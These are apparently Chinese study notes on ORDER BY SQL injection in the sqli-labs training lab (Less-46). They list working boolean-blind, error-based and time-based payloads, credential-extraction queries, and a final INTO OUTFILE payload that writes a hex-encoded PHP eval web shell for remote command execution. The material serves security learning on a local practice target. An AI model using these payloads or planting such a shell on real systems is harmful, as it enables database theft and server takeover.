ORDER BY 注入学习
分析第46关代码
**注入方式**
1. 直接添加注入语句 ?sort=(select …)
2. 利用一些函数,如rand函数。 ?rand(sql语句) ?rand(true)或者rand(fakse)
3. 利用and 例如?sort=1 and (sql语句)或者直接?sort=sql语句 可以报错或者时间盲注
方式2
http://127.0.0.1/sqli-labs-master/Less-46/?sort=rand(true)
false
http://127.0.0.1/sqli-labs-master/Less-46/?sort=rand(false)
上边可以看到rand(true)和rand(false)的返回结果是不一样的,我们可以据此来进行基于布尔的盲注
基于布尔盲注的payload
?sort=rand(left(database(),1)='s')
#left(database(),1)='s' 如果数据库名第一位是s就返回true,否则就是false =====>?sort(true)
然后根据上边的rand(true)和rand(false)页面进行判断
如果'和=被过滤,可以使用ascii进行判断,如?sort=rand(ascii(left(database(),1))=115)
方式3
报错注入获取数据库名
?sort=(select count(*) from information_schema.columns group by concat(0x5c,(select database()),0x5c,floor(rand()*2)) limit 0,1)
#此处使用的是第五关学习的报错注入,参考第五关,灵活构造即可
获取账号密码 payload
and (select 1 from (select count(*),concat(0x3a,0x3a,(select concat_ws(char(32,58,32),id,username,password) from users limit 0,1),0x3a,0x3a,floor(rand(0)*2))as a from information_schema.columns group by a)b)
延时注入
1.IF延时注入
?sort=IF(substr(database(),1,1)='s',1,sleep(3))
sqli注入天书中还有一段payload
http://127.0.0.1/sqli-labs/Less-46/?sort=%20(SELECT%20IF(SUBSTRING(current,1,1)=CHAR(115), BENCHMARK(50000000,md5(%271%27)),null)%20FROM%20(select%20database()%20as%20curr ent)%20as%20tb1)
BENCHMARK函数相当于sleep函数
2.procedure analyse参数后注入
利用procedure analyse参数,可以执行报错注入
在procedure analyse和order by之间可以存在limit参数,实际应用中,往往也可能存在limit后的注入,我们可以利用procedure analyse注入
PROCEDURE ANALYSE() ,在优化表结构时可以辅助参考分析语句。
利用此语句,MySQL 帮你去分析你的字段和其实际的数据,并会给你一些有用的建议。
?sort=1 procedure analyse(extractvalue(rand()*2,concat(0x3a,version())),1)
3. 导入导出文件into oufile参数
?sort=1 into outfile "C:\\phpstudy\\WWW\\sqli-labs-master\\Less-46\\test.txt"
4.利用lines terminated by上传16进制木马
http://127.0.0.1/sqli-labs-master/Less-46/?sort=1%20into%20outfile%20%22C:\\phpstudy\\WWW\\sqli-labs-master\\Less-46\\te.php%22%20lines%20terminated%20by%200x3c3f706870206576616c28245f504f53545b22636d64225d293b3f3e
菜刀连接